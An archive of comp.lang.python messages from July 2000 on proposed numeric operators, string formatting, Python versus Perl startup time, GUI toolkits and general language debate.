Message-ID: <39751596.45921F07@prescod.net>

Huaiyu Zhu wrote:
> 
> ...
> Please jump in at any point that's both
> feasible and interesting enough for someone to actually do it:
> 
> 1. Make a pure python way to introduce additional operators, like
>    import NewOperator
>    NewOperator.define(".+", "__dotadd__")
>    NewOperator.define("+=", "__add_ab__")
>    NewOperator.define(":=", "__copy__")
> 
>    Advantage: Pure python.  Doesn't interfere with existing sytax.  May be
>    used for other operators.  Not in the core, only affect the module that
>    imports it.
>    Disadvantage: Said to be quite difficult to implement (Why?).

Parsers just do not work that way. Most parsers cannot be extended at
runtime. The language is defined at compile time by the grammar. The
only way to do it without rewriting Python's parser from scratch would
be to pre-declare every possible operator anyone might ever want in the
grammar.

> 2. Incorporate additional operators in python.  Either . or @.  Five to
>    eight would be enough for linear algebra.
> 
>    Advantage: Pure python.  Doesn't interfere with existing syntax.
>    Disadvantage: Fixed choice for everybody.  Unlikely to happen for quite
>    some time until everyone agrees on everything.

Agreed on all counts.

> 3. Maintain a patch for additional operators.
> 
>    Advantage: once built, everything is pure python.  Already have patch.
>    Disadvantage: Can't guarantee most users can patch python, so in practice
>    may need to maintain windows executable for download.

In the big picture, is that such a big deal?

> 4. Temporarily use a.mmul(b) and a.emul(b) before things settle down.  Then
>    define __dotmul__ = emul, or the like, when they are available.
> 
>    Advantage: immediately implementable.  Won't break anyone's code.  Can
>    also switch to  __atmul__ = mmul or other choices later.
>    Disadvantage: code somewhat cluttered.

Let me ask again, is that such a big deal?

> 6. Maintain two classes: E and M.
> 
>    Advantage: no need for new operators.
>    Disadvantage: artificial casting likely to be maintenance nightmare,
>    because we change objects while we really want to change operators.
> 
>    A variant: only use .E for elementwise.  Always return matrixwise.  This
>    is simply just using casting to help select among two methods denoted by
>    the same binary symbol.  Does not look much better than 4 but worth
>    considering.

I don't think anyone proposed the pre-variant variant. It was always
supposed to always return matrixwise.

> ...
> The argument "if it finds wide-spread use we may put it in the language" has
> a severe limitation - if it is technically very difficult for users to use a
> feature that's not in the language, it will unlikely to find wide-spread use
> and may never get into the language.  That's why I really hope something
> like 1 can come up.

Using method or function syntax is not "technically very difficult."
There are hundreds or thousands of NumPy users who can testify to that.
It is inconvenient. Yes. Inconvenience is the price of compromise.
Compromise is the price of sharing a language with people who are
uninterested your domain.

> ["%5.2f", "%-8s", "%.2g"] .% [pi, 'short', 1]

Eeek. That's really, really ugly. This is much more explicit:

i = ["%5.2f", "%-8s", "%.2g"] 
j = [pi, 'short', 1]
[for i,j in zip(list1, list2): i % j]

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist





From moshez at math.huji.ac.il  Fri Jul 21 00:41:36 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 21 Jul 2000 07:41:36 +0300 (IDT)
Subject: iterating over lines in a file
In-Reply-To: <D5Pd5.25129$DZ4.84715@news.corecomm.net>
Message-ID: <Pine.GSO.4.10.10007210740160.21285-100000@sundial>

On Thu, 20 Jul 2000, nobody wrote:

> > Preventing world war III, when Python achieves world domination. If C is
> > allowed to achieve world domination, WWIII will be cause by
> 
> > if(everything_is_ok = 0) {
> > 	launch_missile();
> > }
> 
> i sort of see the point, when you're speaking of beginner programmers
> still confused by the common algebra equal sign and trying hard to
> sort out assignment from comparison, but i honestly don't see many
> more seasoned programmers making that mistake.

Huh? No programmer I know never made that mistake. Even seasoned
programmers sometimes forget the second "=" in the midst of coding...
(Note that Java partially solved it too)

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From moshez at math.huji.ac.il  Sun Jul  2 15:20:29 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sun, 2 Jul 2000 22:20:29 +0300 (IDT)
Subject: Internet Explorer and Python/COM
Message-ID: <Pine.GSO.4.10.10007022217420.19085-100000@sundial>

I'm really a beginner in Windows COM programming, so I'm sorry if my
question doesn't make sense.

Can I use Python to run Internet Explorer and control it via COM? I mean,
telling it things like "Display this URL" or "Render this HTML".
(Maybe even putting a hook on URL displaying, so my Python program is
notified when the URL the browser is displaying changes)

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.




From fannyy at idmail.com  Tue Jul 11 03:02:12 2000
From: fannyy at idmail.com (Fanny Yeung)
Date: Tue, 11 Jul 2000 00:02:12 -0700
Subject: Is there any grid/table in Tkinter ?
References: <07ga5.11385$BS1.314666@brie.direct.ca> <j6jjms4ev3tok760njkhk550nd78rpn1oa@4ax.com> <Xlma5.11500$BS1.321585@brie.direct.ca> <fjujmsoqkq86gng4uisslt7uh3cneboeq7@4ax.com>
Message-ID: <hoza5.11887$BS1.346871@brie.direct.ca>

Hi Martin,

I found it now. Thanks very much.
Mak
Martin Rand <hsl at tcp.co.uk> wrote in message
news:fjujmsoqkq86gng4uisslt7uh3cneboeq7 at 4ax.com...
> On Mon, 10 Jul 2000 09:12:12 -0700, "Fanny Yeung" <fannyy at idmail.com>
> wrote:
>
> >Hi Martin,
> >Thank for your reply. But I wonder where I can find Doug Hellmann's grid
> >widget ?
> >
> Darn, I knew you were going to ask that! I shall have to stop being so
> lazy and see where I downloaded it from...
>
> Rummage, rummage... Oh, here we are, it's on the "Vaults of Parnassus"
> site
> http://www.vex.net/parnassus/
> under "User Interfaces/GUI/Tkinter Widgets", as "PmwContribD".
> --
> Martin Rand
> Highfield Software Ltd
> mwr at highfield-software.co.uk
> Phone: +44 (0)23 8025 2445
> Fax:   +44 (0)23 8025 2445




From cjc26 at nospam.cornell.edu.bbs  Mon Jul 17 16:10:05 2000
From: cjc26 at nospam.cornell.edu.bbs (cjc26 at nospam.cornell.edu.bbs)
Date: 17 Jul 2000 20:10:05 GMT
Subject: mxTextTools Question, Number 2 :)
Message-ID: <3bRO0U$kyF@openbazaar.net>

* Stephen Hansen <stephen at cerebralmaelstrom.com> menulis:
|
| ...works, I suspose... but, here's the harder part. I want to ignore that
| whitespace as delimiter if the next character is a special
|
| So, "This &that" would end up capturing "This that".
|
| For the life of me I can't even fathom how to do the above! Well, I have a
| vague conception of what needs to be done but can't get it down on
| paper(Y'know what I mean. :))

Would it be possible to have the special character come >before< the
space, rather than after?  For example, "This& that".  That might be a
bit easier to do.

If you can't do it that way, well..I don't know mxTextTools, but I do
know a little about writing parsers in general.  The way I would do it
is to have the parser jump to a special state whenever it encounters a
space; in that state, if the next character is "&" then add a space to
the text buffer and jump back to the "Text" state.

Hopefully you can translate the above into mxTextTools code. :)


--
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From lull at acm.org  Thu Jul 20 23:10:30 2000
From: lull at acm.org (John Lull)
Date: 20 Jul 2000 22:10:30 -0500
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <m2bszsokwh.fsf@spiff.home.com> <39774EFA.62287E6E@nih.gov>
Message-ID: <ueefns037mjarv63dqpbh52mmr1k6vvaop@4ax.com>

Jonathan Epstein <Jonathan_Epstein at nih.gov> wrote (with possible
deletions):

> The special constituencies can even be addressed using two-character
> sequences within the parens if necessary.  E.g., for Kroneker use
>  A(.K)B
> I'm not actually proposing this specific syntax because it's so horrible
> looking and potentially hard to parse, but some variant on this might do
> the trick.

This shouldn't be hard to parse.  In fact, it might be a reasonable
foundation for class-specific operators:
    A(.opName)B
would get executed as either
    A.__opName__(B)
or
    B.__ropName__(A)
or raise an exception as appropriate.

Regards,
John


From aahz at netcom.com  Sun Jul  9 14:54:59 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 9 Jul 2000 18:54:59 GMT
Subject: Static member variables
References: <8kahdq$5e2$1@zingo.tninet.se>
Message-ID: <8kahq3$fof$1@slb0.atl.mindspring.net>

In article <8kahdq$5e2$1 at zingo.tninet.se>,
Thomas Svensson <thomas_s at ebox.tninet.se> wrote:
>
>Is there a way of declaring static (and constant) member variables in
>classes? I have a member variable that should be unique for each class
>type and thus should not waste memory for each instance of the class I
>create. Something like the __doc__ string I guess.

You can have class variables, but they're not exactly what I'd call
"static" and they certainly aren't constant.

class foo:
  bar = 2
  def __init__(self):
    self.baz = 3

f = foo()

f.bar is a class variable; f.baz is an instance variable.  Note that you
can run into problems if you're not careful because of the way scoping
rules work.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From tim_one at email.msn.com  Fri Jul 28 18:46:08 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Fri, 28 Jul 2000 18:46:08 -0400
Subject: Perl is worse!
In-Reply-To: <slrn8o2ft4.1e2.grey@teleute.rpglink.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEELPGMAA.tim_one@email.msn.com>

[Tim]
> Steve, in case it isn't clear yet, Python programmers *want* to
> be blown out of the water when doing something as senseless as
>
>    1 + "foo"

[Steve Lamb]
>     It isn't senseless.  That is the whole point.

Indeed it is.  In fact, it has too *many* senses for Python's tastes.  You
think it "should" return 1, or (in other posts) raise an exception.  Someone
coming from Java thinks it just as obvious that it "should" return "1foo" --
which can also be very useful.  In the absence of a compelling
non-exceptional sense, Python refuses to guess:  you have to explicitly name
the sense you intended, and then your intent is clear for all to see.  After
all, Python is a programming language, not a psychic hotline <0.9 wink>.  In
the other examples you gave, such as 1+1j, returning a complex result is
wholly unsurprising to anyone.  I suppose you may want 1+"1j" to return 2,
though ...

if-so-python's-not-your-language-ly y'rs  - tim





From mbaker at 0x7a69.net  Tue Jul 25 16:24:28 2000
From: mbaker at 0x7a69.net (Mark Baker)
Date: Tue, 25 Jul 2000 15:24:28 -0500
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com> <397DE866.CA57D01D@alabanza.net>
Message-ID: <Hrmf5.2286$qe5.532554@nntp3.onemain.com>

In article <397DE866.CA57D01D at alabanza.net>, "ye, wei" <yw at alabanza.net>
wrote:
>> 1. There are no keywords to declare static or instance variables; it
>> all depends where they are placed(whether it's right after the <class>
>> statement, or inside a <def>). Isn't it harder for other programmers to
>> know at one glance what type of attributes the class define?
> 
> This is what I couldn't tolerate as well!! I'm the same guy is looking
> for another new language, my path is C/C++->Java->PHP->Perl.

Python's scoping rules are rather simple. If you don't understand a
language's scoping rules, they will all look "weird." I imagine that you
would find LISP's lexical scoping quite odd, for instance.

When a language (like C++) reuses keywords ambiguously to indicate
whether a binding belongs to class or an instance, I'm sure that for the
unambitous learner, it too is confusing.

But it's rather hard to look at a class and not know if a given variable
belongs to a class or an instance, unless you bind it in some obscure place.

 
> I'm the same frustrated as you about the Perl/Java and now Python, Java
> is a good language, however it's not open language. Perl has some
> language deficients as well. Python is so loose for type checking.

That's the point. The idea is that static typing costs more in developer time,
creates stale frameworks, and provides little practical benefit for an
experienced programmer. Whether this is true or not, is a different story.

Languages like Java, though, aren't totally statically typed, so they're hardly
"safe" languages, but reduce productivity where they are statically typed
enough so that they're a hassle.
Compare development times between Smalltalk and Java, and you'll see
what I mean.

> However
>
> today I just read the Perl6 vision, it makes me very exciting -
> 
> http://www.perl.org/perl6/pr/initial_meeting.html The new Perl 6 will
> support Typing(e.g. "my Dog $spot") , OO, Threads and more features!!

Perl 5.6 already has the my Class $... syntax, as well as a hacked-on object
system, threads, and more "features" than I'd care to have in one language.

If you want a dynamic and static language, I'd suggest Dylan or Objective-C.
They both also avoid the problems of broken frameworks totally statically typed
languages fall into, through the flexibility of their dispatch systems.
 
> It also will bring some python's features into Perl.  :)

Elaborate.
 
>> Furthermore, some ppl claim that Python is easier to learn, enables you
>> to write much cleaner codes... However, after reading the python book,
>> my head is still spinning, trying to catch all the 'intricacies' of
>> this language. No doubt it will be a powerful and useful 'tool' to me
>> once i get used to it; but i don't think it's suitable to be a first
>> programming language for non-programmers(i read somewhere about this
>> project going on). Pascal(for procedural) and Java(for OOP) is still
>> the better choice to start off, IMHO.

This isn't related to your post, but its parent...
Python and Smalltalk are both good introductory languages, since they
are both less complex than Pascal or Java, and allow the student to learn
how to program, instead of fumbling over complex syntax.


From mikeb at mitre.org  Fri Jul  7 07:43:53 2000
From: mikeb at mitre.org (Mike Brenner)
Date: Fri, 07 Jul 2000 07:43:53 -0400
Subject: RE> wxPython or wxWindows+Python?
Message-ID: <3965C279.9ECF142A@mitre.org>

Edward wrote: 
> Pros of using wxPython:
   1. > Python code is simpler. ...
  98. > Python is the wave of the future, etc. ...
  99. > ... 
> What do you all think of the choices?
> Are any of these points invalid? Anything I've missed?


Edward, I think all of your points are valid. Perhaps one point is
missing: There are not as many examples of Python code available to
learn from. 

Events, especially mouse events, seem to be more difficult than other
languages to learn without an example. What I mean is that I am not that
good at it, so I only learned how to do events in other languages by
examples also. 

I think your first true mouse graphics program has to be spoon fed to
you, then you use that subset as the de-facto API. After you build on
it, someday it will dawn on you how it is really working . Then you can
start using the whole API instead of the tiny subset in your first
program.

Is there an example of cutting and pasting graphics from the clip board
and the screen?

Is there any example of a Python version of a stripped-down PC-PAINT
program or something like it, that shows how to set up graphical input
and copy/paste?

Mike Brenner




From wilson.austin.aj at bhp.com.au  Thu Jul  6 15:11:36 2000
From: wilson.austin.aj at bhp.com.au (A J Wilson)
Date: Fri, 7 Jul 2000 05:11:36 +1000
Subject: Wait/Delay
Message-ID: <8k2lhd$5i6$1@gossamer.itmel.bhp.com.au>

Hi

Is there a command/function in python to put a delay or wait step into a
program?

Thanks
Austin




From rumjuggler at cryptarchy.org  Sat Jul 29 01:12:47 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sat, 29 Jul 2000 05:12:47 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <FMsgUTBHBIg5Ew9s@jessikat.fsnet.co.uk> <39808d84.23819726@news-server.austin.rr.com> <3981B8E1.6F55A6FC@stroeder.com> <8ltop8$c$1@nntp9.atl.mindspring.net>
Message-ID: <eaq4os08eisg20davmo7u8aksl5hqubdjf@4ax.com>

On 29 Jul 2000 05:06:48 GMT, aahz at netcom.com (Aahz Maruch) wrote:

>In article <3981B8E1.6F55A6FC at stroeder.com>,
>Michael Str?der  <michael at stroeder.com> wrote:
>>jay graves wrote:
>>> 
>>> Q: How do you keep a lawyer from drowning?
>>> A: Take your foot off his neck.
>>
>>Q: What are 1000 lawyers at the bottom of the ocean?
>>A: A good start.
>
>Q: What do you call a lawyer buried up to his neck in sand?
>
>A: Not enough sand.

Why would you call him that?

-- 
Barnabas T. Rumjuggler

The world is turning into a cesspool of imbeciles.
 -- Harlan Ellison


From gabriel_ambuehl at buz.ch  Mon Jul 24 06:12:03 2000
From: gabriel_ambuehl at buz.ch (Gabriel Ambuehl)
Date: Mon, 24 Jul 2000 12:12:03 +0200
Subject: Variables in strings..
Message-ID: <81324605608.20000724121203@buz.ch>

Hello,
after switching from Perl to Python because I encountered serious
problems when it came to the maintenance of the Perl code, I begging
for a solution to the following: In Perl, it's very easy to embed a
variable within a string for output (and as my main use for Python is
CGI, I'm doing that rather often):
print "Hello $name"
would do the job. Now the only solution I could find in Python was
this awful
print "Hello %(name)s" % var()
syntax which, after all, doesn't even seem to support lists as
print "Hello %(name[1])s" % var()
just raises a KeyError. May anyone point me to some more comfortable
ways than just endless concatenation of strings and lists which doesn't really
help for readibility (which is one of the main points why I'm
switching from Perl to Python)?

  


Best regards,
 Gabriel





From ingoogni at home.nl  Sat Jul 29 10:20:57 2000
From: ingoogni at home.nl (ingo)
Date: Sat, 29 Jul 2000 14:20:57 GMT
Subject: cStringIO & write error?
Message-ID: <8F80A1458seed7@212.120.66.218>

When I do:

from StringIO import StringIO
f=open('file.dat', 'r+b')
ff=StringIO(f.read(-1))
ff.seek(0,0)
ff.write(chr(123))

all is ok. But when I import from cStringIO I get an error:

line 311, in RunScript

    exec codeObject in __main__.__dict__

  File "D:\Ingo\PyScript\df3\Script1.py", line 5, in ?

    ff.write(chr(123))

AttributeError: write

What am I doing wrong?


TIA,
Ingo

-- 
Photography: http://members.home.nl/ingoogni/
Pov-Ray    : http://members.home.nl/seed7/


From donn at u.washington.edu  Mon Jul 31 19:20:31 2000
From: donn at u.washington.edu (Donn Cave)
Date: 31 Jul 2000 23:20:31 GMT
Subject: How does Python compare to ?
References: <8m4v0g$bcbbu$1@fido.engr.sgi.com> <3FF3ED6EC164DBD2.77C81740D77CD9FA.D247DC7D74D3B365@lp.airnews.net> <Pine.GSO.4.10.10007311048410.10092-100000@sundial> <8m4bo1$3le2$1@nntp6.u.washington.edu>
Message-ID: <8m51jv$a7ke$1@nntp6.u.washington.edu>

Quoth pj at sgi.com (Paul Jackson):
| Donn Cave, donn at u.washington.edu wrote:
| |> But it has to be partly the interpreter too.
|
| Good grief - does it ever.  On my setup at least,
| Python startup is much worse than Perl.

After reading your analysis I tried "python -S", and shaved off
a third of the startup time!  That's enough to make a lot of
difference to someone who's starting python 20 times per second.
Wonder how much Python software depends on this feature?

	Donn Cave, donn at u.washington.edu
----------------------------------------
| Summary:
|
|     Python does a lot more work loading modules at startup,
|     for even the most trivial program, than does Perl.
|
|     1) On SGI Irix 6.5.9m and 180 MHz R5000 MIPS:
|
| 	Perl startup: 	 13 msec
| 	Python startup:	196 msec
|
|     2) On SuSE 6.3 Linux and 400 MHz Pentium II:
|
| 	Perl startup:	  9 msec
| 	Python startup:	 60 msec
|
|     where startup is measured from the time libc loads, until
|     the time 'real work' begins (the interpreter reads the
|     print command and writes "hi").
|
|
| Below, I analyze the startup in more detail for the Irix case.
| The Linux case is similar, except that proportionately more time
| is spent waiting for file system calls, and less cpu-bound in
| the application (my Linux box has a faster processor).
|
| All numbers are from "hot" runs -- after first repeating the
| same command a few times to get all files accessed into the
| buffer cache.  The "cold" buffer times for python also seem
| to be much worse than perl, which is not surprising, given
| the larger number of files python attempts to access at startup.
|
|
| Comparing Perl and Python startups on a system:
|
|     SGI Irix 6.5.9m on 128MB 180MHz R5000/SC O2
|
| using versions:
|
|     Perl:   perl5 (5.0 patchlevel 4 subversion 4)
|     Python: Python 1.5.2 (#25, Jun 11 1999, 16:45:34)
|
| examining the startup of the two using 'par' to run the following:
|
|     echo 'print "hi"' | perl
|     echo 'print "hi"' | python
|
| I see that between the time libc is dynamically loaded (at about
| 6 msecs after the execve()) until the time that perl/python get
| down to business (read the echo'd program and write "hi\n"),
| there is a _big_ difference between perl and python.
|
|
| Perl:
|
|     In this interval, perl does just the following 13 milliseconds
|     worth of stuff:
|
| 	6mS   sysinfo(_MIPS_SI_PROCESSORS, 0x7fff2d20, 257) = 10
| 	7mS   open("/usr/lib32/libperl.so.4.4", O_RDONLY, 05) = 4
| 	7mS   read(4, <...>..., 512) = 512
| 	7mS   elfmap(4, 0x7fff0f50, 2) = 0x97f0000
| 	8mS   close(4) OK
| 	8mS   open("/usr/lib32/libm.so", O_RDONLY, 05) = 4
| 	8mS   read(4, <...>..., 512) = 512
| 	8mS   elfmap(4, 0x7fff0f50, 2) = 0x94e0000
| 	9mS   close(4) OK
|        10mS   syssgi(SGI_TOSSTSAVE) OK
|        11mS   getpagesize() = 4096
|        11mS   brk(0x10015000) OK
|        11mS   syssgi(SGI_USE_FP_BCOPY, 0, 0x181, -1, 0x180, 0) = 0
|        12mS   brk(0x10025000) OK
|        13mS   getuid() = 2324, euid=2324
|        13mS   getuid() = 2324, euid=2324
|        13mS   getgid() = 20 egid=20
|        13mS   getgid() = 20 egid=20
|        14mS   time() = 965078506
|        14mS   getcontext(0x7fff29d0) = 0
|        18mS   getpid() = 1147056, ppid=1142422
|        19mS   ioctl(0, __OLD_TCGETA, 0x7fff0170) errno = 89
|        19mS   read(0, "print "hi"\n", 4096) = 11
|
| Python:
|
|     In the same interval, python does some 196 milliseconds worth
|     of stuff, including 52 open attempts, 34 stat attempts, 67
|     sigaction calls, 12 fstat's, 20 close's, 27 brk's, ...
|
|     The opens are mostly to open some 10 modules, where
|     each module open requires about 4 attempts, for spam.so,
|     spammodule.so, spam.py and spam.pyc.  The modules being
|     loaded are:
|
| 	exceptions, site, os, posixpath, stat, UserDict, and
| 	about 4 variants of site-customize (under the main
| 	python1.5 directory, as well as under plat-irix6, lib-tk
| 	and lib-dynload).
|
|     The stat's are for each of these potential modules, plus
|     looking for the file 'python' in every directory on my
|     $PATH, plus 4 stats in the subtree "/usr/lib/locale/C".
|
|     Most of the elapsed time, however, does _not_ seem to be in
|     waiting on the system for the above calls (the file calls
|     were quick - several per msec - out of cache).  Rather most
|     of the time seems to be cpu bound, just after reading in one
|     of the modules.  Often, some 10-20 msecs go by, marked only
|     by a close() call or two, such as when python is reading a
|     couple of nested modules, such as stat and posixpath, and
|     closes the child module while still plugging away on the
|     parent.
|
|     The stat() search for the python file along $PATH comes
|     early (before loading modules) and the sigaction() calls
|     come just after loading the exceptions module.
|
| -- 
| -- 
| I won't rest till it's the best ...	   Software Production Engineer
| Paul Jackson (pj at sgi.com; pj at usa.net) 3x1373 http://sam.engr.sgi.com/pj


From moshez at math.huji.ac.il  Tue Jul 25 09:02:15 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Tue, 25 Jul 2000 16:02:15 +0300 (IDT)
Subject: Python 3000
In-Reply-To: <8lk2kg$kbv$1@nntp9.atl.mindspring.net>
Message-ID: <Pine.GSO.4.10.10007251601090.17370-100000@sundial>

On 25 Jul 2000, Aahz Maruch wrote:

> Yes, I know about the soap opera.  The fact remains that 1.6 will almost
> certainly never be a released chunk of code -- it never had a beta!

However, it will be released, from CNRI with BeOpen's help. I wouldn't
use it, though: just wait one more month for 2.0, which has lots of
improvements.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From db3l at fitlinxx.com  Fri Jul 28 15:05:49 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 28 Jul 2000 15:05:49 -0400
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <75k2osst2eh5nbel73ju033l8s97bs2v0s@4ax.com> <slrn8o388q.3ok.grey@teleute.rpglink.com>
Message-ID: <u66pq5b3m.fsf@ctwd0143.fitlinxx.com>

grey at despair.rpglink.com (Steve Lamb) writes:

>     Yes it could, that is why good programmers check their input data before
> performing opertions when the data set is not trusted.

I'm curious, since you've raised this point a few times now.  If this
is true, then where is the pain, during this input check, of simply
making whatever conversion you need into an object type that you want
to use within the program.  If you then need it in another context,
you know what it is canonically within the program (since you input
checked/converted it) and can always request a conversion to the new
type at the point of need.

It seems to me that it isn't so much that Python doesn't let the
object get used as different types, but only that it doesn't try to
guess at the conversion necessary.  And when do you request a
conversion (say with str() to get a string), it's polymorphic - any
object can produce a string representation of itself, providing it
offers the __str__ function.

I suppose one of the cruxes of an issue here is whether or not the
more explicit conversion mechanism (note it isn't any less generic,
just less automatic) is beneficial or not.  I believe it is, even if
not for the initial development, then for the maintenance of the
program.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From johannes at zellner.org  Wed Jul  5 16:24:15 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Wed, 5 Jul 2000 22:24:15 +0200 (CEST)
Subject: readline.c & more
Message-ID: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de>

Hello,

I just compiled python 2 from CVS.

 ?) I had to modify Objects/fileobject.c because there was a
    name clash between `getline' there and in /usr/include/stdio.h
    (as it comes with the latest debian potato). I replaced
    `getline' with `file_getline' in Objects/fileobject.c.
 ?) I modified Modules/readline.c so that it allows reading and
    writing of a history file. I also plan to implement readline
    functions as `stifle history'. Eventually I'd also add the
    possiblity to register a script completer which would be
    called before the builtin completers. My question about
    this: where would I post patches ? -- I've an account on
    SF for other projects, but as this is my first mail to the
    list I'd understand if you won't trust me ;-)
 ?) Is there a forum for developers? This list seems more for
    users isn't it ?

greetings,

-- 
   Johannes




From cut_me_out at hotmail.com  Fri Jul  7 19:22:12 2000
From: cut_me_out at hotmail.com (Alex)
Date: 07 Jul 2000 19:22:12 -0400
Subject: Splitting c.l.py...
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de> <3dituj9cdi.fsf@kronos.cnri.reston.va.us> <39661DE1.A409330C@roguewave.com> <20000707140442.B4771@kronos.cnri.reston.va.us> <8k579c$rts$1@slb3.atl.mindspring.net> <20000708002024.K26534@xs4all.nl>
Message-ID: <etdn1jth6fv.fsf@w20-575-115.mit.edu>

> or making it a completely open list, where people 'promise' not to
> 'interfere'. I hope we can all agree #2 will not work ;)

Somehow, I got on the python-dev list, and I'm doing a pretty good
impersonation of #2, so far.

Only-takes-one-counterexample...right?<wink>'ly 
Alex.


From robin at jessikat.fsnet.co.uk  Fri Jul 14 10:46:29 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Fri, 14 Jul 2000 15:46:29 +0100
Subject: ReportLab 0.95
Message-ID: <PWHCiBAFfyb5EwES@jessikat.demon.co.uk>

ReportLab 0.95 is released. Probably the last release before a 1.0
version.

The distribution is available at
        
        www.reportlab.com

This version of the dynamic PDF generation kit has much improved
documentation, better paragraphing, splitting tables and much much more.

In the traditional fashion this is being released on a Friday as close
to beer time as possible and when all other developers are busy doing
other things :)
-- 
Robin Becker


From robin at alldunn.com  Tue Jul 11 20:59:27 2000
From: robin at alldunn.com (Robin Dunn)
Date: Tue, 11 Jul 2000 17:59:27 -0700
Subject: Looking for a tree widget with control of text color
References: <SMta5.147482$7o1.3697839@news2.rdc1.on.home.com>
Message-ID: <opPa5.8337$%wF2.239927718@news.randori.com>

>
> Is there a tree widget for wxPython or TKinter that support setting the
text
> color (foreground or background) for each node?
>

The wxTreeCtrl in wxPython can do it.


--
Robin Dunn
Software Craftsman
robin at AllDunn.com
http://wxpython.org     Java give you jitters?
http://wxpros.com        Relax with wxPython!





From nospam at email.com  Thu Jul 20 17:07:47 2000
From: nospam at email.com (CB)
Date: Thu, 20 Jul 2000 21:07:47 GMT
Subject: Checking for end of a file
References: <InId5.59171$ZI2.2276534@news1.rdc1.on.wave.home.com> <39776623.5B245EF5@roguewave.com>
Message-ID: <DSJd5.59429$ZI2.2279075@news1.rdc1.on.wave.home.com>

Thanks, works a treat.

Colin

"Bjorn Pettersen" <bjorn at roguewave.com> wrote in message
news:39776623.5B245EF5 at roguewave.com...
> CB wrote:
> >
> > If I'm iterating through a text file, reading one line at a time within
a
> > while statement, how do I check for the end of file.  I tried while
> > filename.eof and filename.eof() but to no avail?
> >
> > Colin
>
> The two standard idioms are:
>
>   f = open(...)
>   for line in f.readlines():
>     <do something with line>
>
> and
>
>   while 1:
>     line = f.readline()
>     if not line: break
>     <do something with line>
>
> The second one works by the fact that f.readline() returns '\n' for
> empty lines and '' (the empty string, aka false) when reaching the
> end-of-file.
>
> I'm-not-even-going-to-try-to-defend-while-1'ly y'rs
> -- bjorn
>




From thomas at xs4all.nl  Mon Jul  3 15:52:56 2000
From: thomas at xs4all.nl (Thomas Wouters)
Date: 3 Jul 2000 19:52:56 GMT
Subject: Bug in math.frexp?
References: <LNBBLJKPBEHFEDALKOLCGENKGHAA.tim_one@email.msn.com>
Message-ID: <slrn8m1ro2.nti.thomas@centurion.xs4all.nl>

On Mon, 3 Jul 2000 14:23:08 -0400, Tim Peters <tim_one at email.msn.com> wrote:
>Guys, this is not open to debate.  frexp is a std ANSI C function, Python
>calls the platform frexp directly, and the new docstring I checked in is an
>exact paraphrase of the std in Pythonic language.  I don't care what
>manpages say.  I *would* care if somebody can show an actual example of a
>Python implementation where the examples posted do not work exactly as
>shown:  that would mean the platform is buggy -- but the new docs are still
>correct <wink>.

Yes, yes, you're right. The posting that started this unnecessary discussion
was both wrong and mine (I'm sorry, it was late ;P) but in my defense: I had
intended to *mail* it to Fred, but my slrn (again) went on and had a life of
its own.

What I intended to say was 'the manpages I saw concur with Tim's
docstringchange', but it 1) came out wrong, and 2) was wrong -- the manpages
are confusingly phrased, just as Fred claimed. I had the best of intentions
though ;)

Apologizing-ly y'rs,


From stephen at cerebralmaelstrom.com  Thu Jul  6 15:24:21 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Thu, 06 Jul 2000 19:24:21 GMT
Subject: Wait/Delay
References: <8k2lhd$5i6$1@gossamer.itmel.bhp.com.au>
Message-ID: <F1595.115780$WS3.1008506@typhoon.we.rr.com>

>>> import time
>>> time.sleep(1)

There :)

--Stephen :)

A J Wilson <wilson.austin.aj at bhp.com.au> wrote in message
news:8k2lhd$5i6$1 at gossamer.itmel.bhp.com.au...
> Hi
>
> Is there a command/function in python to put a delay or wait step into a
> program?
>
> Thanks
> Austin
>
>




From nobody at nowhere.nohow.bbs  Sun Jul 16 12:10:02 2000
From: nobody at nowhere.nohow.bbs (nobody at nowhere.nohow.bbs)
Date: 16 Jul 2000 16:10:02 GMT
Subject: help with tkinter coding
Message-ID: <3bQSCQ$lve@openbazaar.net>

